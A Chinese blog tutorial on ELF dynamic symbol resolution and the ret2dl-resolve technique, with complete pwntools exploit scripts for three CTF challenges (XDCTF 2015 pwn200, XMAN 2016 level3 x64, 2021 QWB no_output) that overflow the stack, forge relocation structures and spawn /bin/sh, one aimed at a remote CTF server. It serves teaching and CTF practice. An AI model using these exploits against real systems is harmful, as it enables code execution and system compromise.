深入理解-dl_runtime_resolve

深入理解-dl_runtime_resolve

概要

目前大部分漏洞利用常包含两个阶段:

  • 首先通过信息泄露获取程序内存布局
  • 第二步才进行实际的漏洞利用

然而信息泄露的方法并不总是可行的,且获取的内存信息并不可靠,于是就有了ret2dl_resolve的利用方式。这种方式巧妙的利用了ELF文件格式以及动态装载器的弱点,不需要进行信息泄露就可以直接标识关键函数并调用。

符号解析过程以及结构体定义

解析原理

  • 动态装载器负责将二进制文件以及依赖库加载到内存,该过程包含了对导入符号的解析。

  • 也就是说,在第一次调用函数时都由_dl_runtime_resolve函数来完成,以下是函数原型:

    _dl_runtime_resolve(link_map_obj, reloc_index)
    

  • resolve函数第二个参数是reloc_index,它可以找到文件中.rel.plt表,.rel.plt表由Elf Rel结构体组成,定义如下:

    它的r_offset用于保存解析后的符号地址写入内存的位置(绝对地址),r_info的高位3字节用于标识该符号在.dynsym中的下标。

    它在程序中的内容如下:

  • Elf Rel结构体中的r_info 成员指向.dynsym段中的Elf Sym结构体。结构体定义如下:

  • Elf Sym结构体中前两个成员为重要成员,st_value 是当符号被导出时用于存放虚拟地址,不导出则为NULL。st_name 是相对于.dynstr段的偏移, .dynstr保存符号名称字符串, 内容如下:

总结起来就是:
当程序导入函数时,动态链接器在.dynstr段中添加一个函数名称字符串
.dynsym段中添加一个指向函数名称字符串的Elf Sym结构体
.rel.plt段中添加一个指向Elf SymElf Rel结构体
最后Elf Relr_offse构成GOT表,保存在.got.plt段中

Lazy Binding

  • Lazy Binding机制(延迟绑定)即只有函数被调用时,才会对函数地址进行解析,然后将真实地址写入GOT表中。第二次调用函数时便不再进行加载

  • 该过程是通过PLT表进行的。每个函数都在PLT表中有一个条目(PLT[0]),第一条指令无条件跳转到对应的GOT条目保存的地址。在程序中类似于下面这样:

  • 然后GOT条目在初始化时默认指向PLT条目的第二条指令位置(PLT[1]),相当于又跳回来了。执行下面两条指令:

    1. push xxx :先将导入函数的标识(Elf Rel.rel.plt的偏移)压栈
    2. 然后跳转到GOT[2]保存的地址处,也就是_dl_runtime_resolve()函数

    在程序中类似于下面这样,并且可以验证0x804A008,也就是GOT[2]是存储的dl_runtime_resolve()函数:

  • _dl_runtime_resolve函数中第一个参数link_map_obj,用于获取解析导入函数所需的信息,第二个参数reloc_index则标识了解析哪一个导入函数(当前函数setbufreloc_index是0,所以是0):

    下面看看另一个函数strlenreloc_index为0x10,所以为0x10:

  • _dl_runtime_resovle函数中,_dl_fixup()函数用于解析导入函数的真实地址,并改写GOT:

总结起来就是:
首先无条件跳转到GOT表条目,jmp xxx
然后把reloc_index压栈,再次跳转到GOT条目**
然后把link_map_obj压栈,参数压栈完成后,执行_dl_runtime_resolve函数
_dl_runtime_resolve中的_dl_fixup完成解析并将真实地址写入GOT表

漏洞利用

程序保护机制RELRO(Relocation Read-Only,重定位只读)是用于缓解由动态解析缺陷而产生的。一般分为三种情况:

gcc -o test test.c                  // 默认情况下, 是Partial RELRO
gcc -z norelro -o test test.c       // 关闭, 即No RELRO。
gcc -z lazy -o test test.c          // 部分开启, 即Partial RELRO
gcc -z now -o test test.c           // 全部开启, 即
  • No RELRO

完全关闭。.dynamic段可写,动态装载器是以.dynamic段的DT_STRTAB条目来获取.dynstr段的地址,而DT_STRTAB地址是已知的,且默认情况下可写,所以可以改写DT_STRTAB,欺骗动态装载器,使其找到伪造的.dynstr段,将我们控制的地址内的字符串解析为函数名称,然后去解析函数地址。比如修改DT_STRTAB.dynstr条目内容为bss段,在bss段中写入execve字符串,假如现在正要解析printf函数,那么就会解析成execve函数的地址。

  • Partial RELRO

开启部分保护,.dynamic段不可写。之前介绍_dl_runtime_resolve时提到,第二个参数reloc_index对应Elf Rel.rel.plt中的偏移,动态装载器将reloc_index加上.rel.plt的基址来得到目标Elf Rel的内存地址。

当我们控制reloc_index的值,使它相加后刚好落在bss段上,就可以在bss段上构造一个Elf Rel结构体,使Elf Rel的第一个成员r_offset的值是一个可写的地址,用来保存解析后的函数地址。然后使r_info的值导向到可控制的内存下标,指向Elf SymElf Sym中的st_name 再指向函数名称字符串,那么就可以解析成我们想要的函数地址。

  • FULL RELRO

保护完全开启,开启后立即绑定函数地址,添加 PT_GNU_RELRO 段,.got只读不可写,.got.plt 节取消,PLT 直接调用.got节地址。Bypass可参考网上资料。

XDCTF 2015 pwn200

  1. 程序源码

    #include <string.h>
    #include<stdio.h>
    
    void vuln()
    {
        char buf[100];
        setbuf(stdin, buf);
        read(0, buf, 256);
    }
    
    int main()
    {
        char buf[100] = "Welcome to XDCTF2015~!\n";
        setbuf(stdout, buf);
        write(1, buf, strlen(buf));
        vuln();
        return 0;
    };
    
  2. 编译为动态链接32位可执行文件,开启Partial RELRO 和NX保护:

    gcc -m32 -fno-stack-protector -no-pie pwn200.c -o pwn200
    

  1. 可以从源码得知有栈溢出漏洞,可以通过泄露libc地址的方式获取flag,但在这里使用ret2dl-resolve的方式。
  2. 程序开启了Partial RELRO 保护,那么就按照上面介绍的第二种保护情况来做。
  • 首先利用栈溢出控制执行流,调用read函数将下一阶段的payload读取到bss段上:
payload1 = b'a' * (0x6c + 4)                       # 填充长度
payload1 += p32(read_plt)                          # read(0, bss_addr, 100)
payload1 += p32(pppr)                              # 清栈
payload1 += p32(0) + p32(bss_addr) + p32(100)
payload1 += p32(pop_ebp_addr)                      # 构造一个假的ebp
payload1 += p32(bss_addr)                        
payload1 += p32(leave_ret_addr)                    # 栈迁移到bss段中
  • 这里一步一步模拟write函数的解析过程,最终实现system("/bin/sh") 。在bss段构造payload,并且打印出我们填入的字符串,以便验证:
payload2 = b'aaaa'                               # ebp
payload2 += p32(write_plt)                       # write(1, bss_addr+80, 7)
payload2 += b'aaaa'
payload2 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
payload2 += b'a' * (80 - len(payload2))          # 填充长度为80,以免字符串被后续payload破坏
payload2 += b'/bin/sh\x00'                       # bss_addr+80 内容为字符串 “/bin/sh\x00”
payload2 += b'a' * (100 - len(payload2))        
  • 接下来模拟write@plt的执行效果。在bss段构造payload,将_dl_runtime_resolve函数的参数压栈,也就是reloc_index ,再跳转到PLT[0],就是第一个无条件跳转指令 jmp xxx
reloc_index = 0x20

payload3 = b'aaaa'
payload3 += p32(plt_0)                      # write 函数的jmp xxx地址
payload3 += p32(reloc_index)                # push 0x20
payload3 += b'aaaa'
payload3 += p32(1) + p32(bss + 80) + p32(len('/bin/sh'))
payload3 += b'a' * (80 - len(payload3))
payload3 += b'/bin/sh\x00'
payload3 += b'a' * (100 - len(payload3))
  • 然后在bss段中构造一个Elf Rel结构,r_offset 设置成write@got 的地址,表示解析后的真实地址填入这里。r_info直接照搬,设置成0x607,动态加载器会通过这个值找到对应的Elf Sym。那么现在reloc_index就不再是0x20了,应该调整为Elf Rel基地址距离bss段上的偏移:

r_info成员的值是0x607,直接照搬到payload中

reloc_index = bss_addr - rel_plt + 28       # 这里需要加上28的偏移,具体可以调试得知
r_info = 0x607                              # .rel.plt 的 r_info 成员
fake_reloc = p32(write_got) + p32(r_info)   # 模拟JMPREL Rel表

payload4 = b'aaaa'
payload4 += p32(plt_0)                      # plt[0]
payload4 += p32(reloc_index)                # push 
payload4 += b'aaaa'
payload4 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))  # write函数的参数,会打印出“/bin/sh”

payload4 += fake_reloc                      

payload4 += b'a' * (80 - len(payload4))     # 填充长度
payload4 += b'/bin/sh\x00'
payload4 += b'a' * (100 - len(payload4))
  • 在bss段中伪造Elf Sym。首先使用readelf命令,查找到write函数在.dynsym段的下标,得知下标为6,然后使用objdump找到下标为6的那一行,数据直接照搬就可以了:

那么之前构造的fake_reloc也要调整,r_info可以通过r_symr_type计算得出。r_sym也就是Elf Sym相对于.dynsym段的下标偏移,r_type则照搬R_386_JUMP_SLOT的值 0x7

reloc_index = bss_addr + 28 - rel_plt
r_sym = (bss_addr + 40 - dynsym) / 0x10              # 需要补上40字节的偏移,具体可以调试
r_type = 0x7
r_info = (int(r_sym) << 8) + (r_type & 0xff)         # write函数这里的结果就是0x607

fake_reloc = p32(write_got) + p32(r_info)
fake_sym = p32(0x4c) + p32(0) + p32(0) + p32(0x12)   # 上面objdump的结果照搬
payload5 = b'aaaa'
payload5 += p32(plt_0)
payload5 += p32(reloc_index)
payload5 += b'aaaa'
payload5 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
payload5 += fake_reloc
payload5 += b'aaaa'
payload5 += fake_sym
payload5 += b'a' * (80 - len(payload5))
payload5 += b'/bin/sh\x00'
payload5 += b'a' * (100 - len(payload5))
  • 最后,在bss段上伪造.dynstr,也就是放上"write"字符串,相应的调整fake_sym的st_name指向伪造的函数名称字符串。st_info 字段的内容被分为高 28 位的 st_bind 符号绑定信息,以及低 4 位的 st_type 符号类型信息,然后可以通过st_blindst_type来计算st_info

reloc_index = bss_addr + 28 - rel_plt
r_sym = (bss_addr + 40 - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)                  # 0x607
fake_reloc = p32(write_got) + p32(r_info)                # Elf Rel

st_name = bss_addr + 56 - dynstr                         # 指向写入的"write"字符串
st_bind = 0x1                                            # st_info高28位
st_type = 0x2                                            # st_info低4位
st_info = (st_bind << 4) + (st_type & 0xf)               # 0x12

fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload6 = b'aaaa'
payload6 += p32(plt_0)
payload6 += p32(reloc_index)                             # fake reloc_index,偏移到了bss段
payload6 += b'aaaa'
payload6 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh')) # write函数参数
payload6 += fake_reloc                                   # fake Elf Rel
payload6 += b'aaaa'
payload6 += fake_sym                                     # fake Elf Sym
payload6 += b'write\x00'                                 # st_name
payload6 += b'a' * (80 - len(payload6))
payload6 += b'/bin/sh\x00'   
payload6 += b'a' * (100 - len(payload6))

最后,只要将字符串“write”改成“system”,调整一下参数即可获得shell。

  • 完整exp
from pwn import *

# context.log_level = 'debug'

elf = ELF('./pwn200')
# io = remote('127.0.0.1', 10001)
io = process('./pwn200')
io.recv()

pppr_addr      = 0x08048619     # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_addr   = 0x0804861b     # pop ebp ; ret
leave_ret_addr = 0x08048458 #: leave ; ret

write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt  = elf.plt['read']

plt_0    = elf.get_section_by_name('.plt').header.sh_addr        # 0x80483e0
rel_plt  = elf.get_section_by_name('.rel.plt').header.sh_addr    # 0x8048390
dynsym   = elf.get_section_by_name('.dynsym').header.sh_addr     # 0x80481cc
dynstr   = elf.get_section_by_name('.dynstr').header.sh_addr     # 0x804828c
bss_addr = elf.get_section_by_name('.bss').header.sh_addr        # 0x804a028

base_addr = bss_addr + 0x600   

payload_1  = b"A" * 112
payload_1 += p32(read_plt)
payload_1 += p32(pppr_addr)
payload_1 += p32(0)
payload_1 += p32(base_addr)
payload_1 += p32(100)
payload_1 += p32(pop_ebp_addr)
payload_1 += p32(base_addr)
payload_1 += p32(leave_ret_addr)
io.send(payload_1)

reloc_index = base_addr + 28 - rel_plt
fake_sym_addr = base_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align       # 对齐

# fake Elf Rel
r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (int(r_sym) << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)

# fake Elf Sym
st_name = fake_sym_addr + 0x10 - dynstr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)

payload_7 = b"AAAA"
payload_7 += p32(plt_0)
payload_7 += p32(reloc_index)
payload_7 += b"AAAA"
payload_7 += p32(base_addr + 80)
payload_7 += b"AAAA"
payload_7 += b"AAAA"
payload_7 += fake_reloc
payload_7 += b"A" * align
payload_7 += fake_sym
payload_7 += b"system\x00"
payload_7 += b"A" * (80 - len(payload_7))
payload_7 += b"/bin/sh\x00"
payload_7 += b"A" * (100 - len(payload_7))
io.sendline(payload_7)
io.interactive()
  • 如果觉得手工构造太麻烦,有一个工具 roputils 可以简化此过程,或者可以使用pwntools中自带的 模块来完成,下面是pwntools构造32位程序exp的例子:
from pwn import *

context.binary = elf = ELF("./pwn200")
context.arch='i386'
context.log_level ='debug'

rop = ROP(context.binary)

dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./pwn200")
io.recvuntil("\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

x64的ret2dl-resolve—XMAN 2016-level3

检查保护

  • 64 位程序一般情况下使用寄存器传参,但给 _dl_runtime_resolve 传参时使用栈
  • _dl_runtime_resolve 函数的第二个参数 reloc_index 由偏移变为了索引

64位在这种情况下,如果像32位一样依次伪造reloc_indexsymtabstrtab会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处,接下来我们结合 _dl_fixup 完整源码进行分析,源码位于 glibc-2.23/elf/dl-runtime.c , 在关键位置给出了注释,其他位置可忽略:

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) 
// 第一个参数link_map,也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);

    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

    // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
 
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
 
// 检查r_info的最低位是不是7
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); 

// 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) 
    {
      const struct r_found_version *version = NULL;

    // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      /* 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,
			由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,
			自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段:

			第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。
			第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。*/
      const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }
 
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
    {
      THREAD_GSCOPE_SET_FLAG ();
      flags |= DL_LOOKUP_GSCOPE_LOCK;
    }
 
      RTLD_ENABLE_FOREIGN_CALL;

    // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();
 
      RTLD_FINALIZE_FOREIGN_CALL;
 
      // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    {
      // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使**value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }
 
  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);
 
  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
 
  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

所以接下来我们的任务就是控制 link_map 中的l_addr和 sym中的st_value

具体思路为:

  • 伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system - addr_xxx
  • 伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置

下面是64位下的sym结构体:

所以sym结构体的大小为24字节,st_value就位于首地址+0x8的位置( 4 + 1 + 1 + 2)。

如果,我们把一个函数的got表地址-0x8的位置当作sym表首地址,那么它的st_value的值就是这个函数的got表上的值,也就是实际地址,此时它的st_other恰好不为0

再来看link_map的结构

struct link_map {
    Elf64_Addr l_addr;
 
    char *l_name;
 
    Elf64_Dyn *l_ld;
 
    struct link_map *l_next;
 
    struct link_map *l_prev;
 
    struct link_map *l_real;
 
    Lmid_t l_ns;
 
    struct libname_list *l_libname;
 
    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
    ...
 
    size_t l_tls_firstbyte_offset;
 
    ptrdiff_t l_tls_offset;
 
    size_t l_tls_modid;
 
    size_t l_tls_dtor_count;
 
    Elf64_Addr l_relro_addr;
 
    size_t l_relro_size;
 
    unsigned long long l_serial;
 
    struct auditstate l_audit[];
}

这里的.dynamic节就对应Elf64_Dyn * l_info的内容

所以如果我们伪造一个link_map表,很容易就可以控制 l_addr ,通过阅读源码,我们知道_dl_fixup主要用了 l_info 的内容 ,也就是上图中JMPREL,STRTAB,SYMTAB的地址。

所以我们需要伪造这个数组里的几个指针

  • DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
  • DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
  • DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到

  • 64位下重定位表项与32位有所不同,多了r_addend成员,三个成员各占8字节,总大小为24字节:

  • 在这里可以看到,write 函数在符号表中的偏移为 2(也就是r_info的值:0x200000007h>>32)

  • 除此之外,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,write 函数对应上图中第一个,下标为0,那么就push 0

  • 看看另一个,read函数对应的下标为1,那么就push 1

可以发现针对软件重定位的攻击其实都是围绕函数 _dl_fix_up 的两个参数 link_mapreloc_arg 展开的,再加上相关数据结构的伪造完成攻击。确实感觉这种攻击是格式化的,虽然过程看上去很复杂,但是实际上都有固定的“套路”,只需按照步骤一步一步操作,大多数情况下就可以完成整个攻击。

  • 下面是完整的脚本
from pwn import *
context.update(os = 'linux', arch = 'amd64')

p = process('./level3_x64')

universal_gadget1 = 0x4006aa
universal_gadget2 = 0x400690

main_got = 0x600a68
pop_rdi_ret = 0x4006b3
jmp_dl_fixup = 0x4004a6
pop_rbp_ret = 0x400550
leave_ret = 0x400618
read_got = 0x600a60
new_stack_addr = 0x600ad0
fake_link_map_addr = 0x600b00

payload = b""
payload += b'A'*(0x80+0x8)
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x500)
payload += p64(new_stack_addr)
payload += p64(0x0)
payload += p64(universal_gadget2)
payload += b'A'*56

payload += p64(pop_rbp_ret)
payload += p64(new_stack_addr)
payload += p64(leave_ret)

p.send(payload)

sleep(0.5)

offset = 0x24c50    # system - __libc_start_main

fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0)    #d_tag  从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)  #d_ptr  指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体

fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(fake_link_map_addr - offset)  # r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可读写就行
fake_Elf64_Rela += p64(7)               # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0)               # r_addend  随意设置

fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0)                # st_name 随意设置
fake_Elf64_Sym += b'AAAA'                # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(main_got-8)       # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0)                # st_size 随意设置

fake_link_map_data = b""
fake_link_map_data += p64(offset)       # l_addr,伪造为两个函数的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00'*0x20
fake_link_map_data += p64(fake_link_map_addr)  # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30)  # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x00'*0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址

payload = b""
payload += b"AAAAAAAA"
payload += p64(pop_rdi_ret)
payload += p64(fake_link_map_addr+0x78) # /bin/sh\x00地址
payload += p64(jmp_dl_fixup)    # 用jmp跳转到_dl_fixup,link_map和reloc_offset都由我们自己伪造
payload += p64(fake_link_map_addr)    # 伪造的link_map地址
payload += p64(0)             # 伪造的reloc_offset
payload += fake_link_map_data

p.send(payload)
p.interactive()

2021强网杯 [强网先锋]no_output

此题也是考验ret2dl-resolve攻击方式。exp如下:

from pwn import *

# s = process("./test")
s = remote("39.105.138.97", "1234")
elf = ELF("./test")

# 调试参数
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# bss
bss = elf.bss(0x400)
# ROPgadget
leave = 0x08049267  # leave 清栈
pppr = 0x08049581  # pop esi;pop edi;pop ebp;ret
p_ebp_r = 0x08049583  # pop ebp;ret
r = 0x0804900e  # ret
read = elf.sym['read']

# 初始化表地址
plt = elf.get_section_by_name('.plt').header.sh_addr  # 带linkmap然后jmp到_dl_runtime_resolve
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# 输入buf
s.send(b'\x00' * 0x30)
# 输入src
s.send(b'\x00' * 0x20)
# 输入soul
s.sendline(b'-2147483648')
# 输入egg
s.sendline(b'-1')

def send1():
    payload1 = b'a' * 0x48
    payload1 += p32(bss)
    payload1 += p32(read)
    payload1 += p32(pppr)
    payload1 += p32(0)
    payload1 += p32(bss)
    payload1 += p32(0x200)
    payload1 += p32(p_ebp_r)
    payload1 += p32(bss)
    payload1 += p32(leave)
    payload1 = payload1.ljust(0x100, b'\x00')
    s.send(payload1)

def send2():
    # 伪造地址
    fake_sym = bss + 0x24
    fake3 = 0x10 - ((fake_sym - dynsym) & 0xf)
    fake_sym += fake3

    index = int((fake_sym - dynsym) / 0x10)
    rrr = (index << 8) | 0x7
    # 计算偏移
    name = (fake_sym + 0x10) - dynstr
    offset = (bss + 0x1c) - rel_plt
    # 重定位
    rel = p32(elf.got['read']) + p32(rrr)

    binsh = bss + 0x100

    payload2 = p32(0)
    payload2 += p32(plt)
    payload2 += p32(offset)
    payload2 += p32(0)
    payload2 += p32(binsh)
    payload2 += p32(0)
    payload2 += p32(0)
    payload2 += rel
    payload2 += b'a' * fake3
    payload2 += p32(name)
    payload2 += p32(0)
    payload2 += p32(0)
    payload2 += p32(18)
    payload2 += b'system\x00'
    payload2 = payload2.ljust(256, b'\x00')
    payload2 += b'/bin/sh'
    s.send(payload2)

send1()
send2()
s.interactive()
posted @ 2021-08-20 22:07  unr4v31  阅读(1348)  评论(0编辑  收藏  举报